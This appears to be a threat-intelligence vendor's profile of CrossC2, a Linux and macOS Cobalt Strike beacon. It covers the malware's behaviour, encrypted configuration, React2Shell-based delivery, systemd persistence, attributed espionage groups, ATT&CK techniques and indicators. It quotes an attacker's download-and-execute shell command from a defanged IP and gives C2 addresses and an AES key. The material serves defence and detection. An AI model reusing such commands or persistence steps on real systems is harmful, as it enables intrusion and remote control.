CrossC2
CrossC2 is an unofficial Cobalt Strike Beacon/builder used to extend Cobalt Strike to UNIX-like platforms, including Linux and macOS. The provided reporting describes it as a Linux-compatible beacon framework and a Linux version of the Cobalt Strike implementation, with payloads observed as ELF executables for x86 and x64 systems. JPCERT/CC reported incidents involving CrossC2 from September to December 2024, and additional reporting tied its deployment to exploitation of CVE-2025-55182 (React2Shell) in late 2025.
Capabilities and behavior directly described in the source material include command execution and broader post-exploitation support after initial compromise. CrossC2-generated beacons are developed in C, compatible with Cobalt Strike 4.1+, and designed for Linux (x86/x64) and macOS (x86/x64/M1). On execution, CrossC2 forks itself and performs main processing in the child process. It can obtain its C2 host and port from the CCHOST and CCPORT environment variables. Configuration data is stored at the end of the file, located via the string "HOOK," and decrypted with AES-128-CBC using OpenSSL routines. Anti-analysis features noted by JPCERT/CC include single-byte XOR string encoding and insertion of large amounts of junk code. CrossC2 beacons are packed with UPX by default, and standard UPX unpacking can fail because configuration data is appended to the file.
Observed infection and deployment vectors in the provided content include exploitation of React2Shell, after which attackers downloaded Bash scripts such as check.sh to retrieve architecture-specific ELF payloads named a_x86 and a_x64. In those cases, the payload was saved as rsyslo under /usr/local/rsyslo when run as root or ${HOME}/.rsyslo with standard privileges, and persistence was established via a systemd service named "Rsyslo AV Agent Service." JPCERT/CC also documented installation of SNOWLIGHT downloader (javas) and CrossC2 (rsyslo) on a compromised server, identifying rsyslo as the CrossC2 RAT. In another campaign, CrossC2 was part of a broader post-exploitation toolkit used after compromise of telecom environments.
Associated threat activity in the content includes use by the China-linked Red Menshen cluster in long-running telecom espionage operations. Rapid7 reported that after initial access to telecom providers in the Middle East and Asia, attackers deployed CrossC2 for command execution and post-exploitation, alongside BPFDoor, TinyShell, Sliver, SSH brute-forcers, keyloggers, and credential theft utilities. JPCERT/CC assessed a separate 2024 intrusion set involving CrossC2 as potentially connected to BlackBasta based on overlapping infrastructure and tradecraft. CrossC2 was also observed in non-Russia-focused React2Shell exploitation campaigns documented by BI.ZONE.
Targeted environments and sectors explicitly mentioned include Linux and macOS systems, compromised Linux servers, and telecommunications providers and telecom core environments in the Middle East and Asia. The content also places CrossC2 in campaigns affecting organizations outside Russia via React2Shell exploitation.
High-confidence indicators and technical details directly provided include observed CrossC2 C2 server 154.89.152[.]240:443 in React2Shell-related cases; AES-128-CBC decryption of embedded configuration using key aaaabbbbccccdddd and IV abcdefghijklmnop in one analyzed payload set; filenames a_x86, a_x64, and rsyslo; persistence via the "Rsyslo AV Agent Service" systemd unit; and configuration parsing based on the trailing "HOOK" marker.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Vulnerabilities exploited
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
The a_x86 / a_x64 ELF executables are the CrossC2 framework payloads for Cobalt Strike, designed for UNIX-like systems. | The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... React2Shell is a vulnerability in the Flight protocol, which facilitates client-server communication for React Server Components. The vulnerability stems from insecure deserialization... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.
Groups observed using it
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Once inside, attackers deploy tools such as CrossC2 for command execution, TinyShell for stealthy persistence, and keyloggers or brute-force tools to steal credentials and move laterally toward core systems.
Upon gaining a successful foothold, Linux-compatible beacon frameworks such as CrossC2 are deployed to facilitate post-exploitation activities.
Upon gaining a successful foothold, Linux-compatible beacon frameworks such as CrossC2 are deployed to facilitate post-exploitation activities.
Techniques & procedures
12 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniquesAttacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
While exploiting the React2Shell vulnerability, threat actors downloaded Tactical RMM... Script 3 ... After identifying a host vulnerable to React2Shell, it exploits the vulnerability to download and execute a payload script
Execution
3 techniquesOnce inside, attackers deploy tools such as CrossC2 for command execution...
After compromising a host via the React2Shell vulnerability, threat actors executed the following commands inside a container: /bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot...'
The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.
Persistence
2 techniquesAttacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
The script also establishes persistence by creating a systemd service /etc/systemd/system/apaches-main.service... If executed with root privileges... creates a systemd service... CrossC2 check.sh creates and starts a service... EtherRAT establishes persistence through: systemd.
Privilege Escalation
2 techniquesAttacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
The script also establishes persistence by creating a systemd service /etc/systemd/system/apaches-main.service... If executed with root privileges... creates a systemd service... CrossC2 check.sh creates and starts a service... EtherRAT establishes persistence through: systemd.
Stealth
3 techniquesDepending on privileges, the script saved the file as rsyslo either in /usr/local/rsyslo ... or in ${HOME}/.rsyslo ... Description=Rsyslo AV Agent Service ... executed from an anonymous file descriptor created with memfd_create, as a [kworker/0:2] process.
Attacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
The loader decrypts this payload using a XOR operation with the key 0x99 ... kxnzl4mtez.js decrypted the 1d5j6rm2mg2d file using AES-256-CBC ... configuration data is decrypted using the AES-128-CBC algorithm
Credential Access
2 techniquesPost-exploitation tooling includes CrossC2, TinyShell, SSH brute-forcers, and custom ELF keyloggers with telecom-aware credential lists referencing terms like “imsi.”
Post-exploitation tooling includes CrossC2, TinyShell, SSH brute-forcers, and custom ELF keyloggers with telecom-aware credential lists referencing terms like “imsi.”
Collection
1 techniqueCommand and Control
2 techniquesThe a_x86 / a_x64 files use the same C2 server: 154.89.152[.]240:443 ... MeshServer=wss://156.67.221[.]96:443/agent.ashx ... The malware sends a query to this C2 server ... GET /api/{rand4hex}/{botID}/...
This script downloaded the XMRig cryptocurrency miner... The attackers also loaded the d5.sh Bash script onto the compromised host to download the Sliver implant... The attackers employed the check.sh Bash script to download ELF executables (a_x86 / a_x64) from a server.
IOCs tracked for this family
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
Recent activity
10 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A cross-platform command execution framework used post-compromise to execute commands within targeted environments.
A Linux-compatible beacon framework used post-compromise to facilitate post-exploitation activities.
A post-exploitation tool used in the campaign after initial compromise.
Linux-focused CrossC2 remote access trojan compatible with Cobalt Strike-style operations, used for interactive control and C2 on compromised systems.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.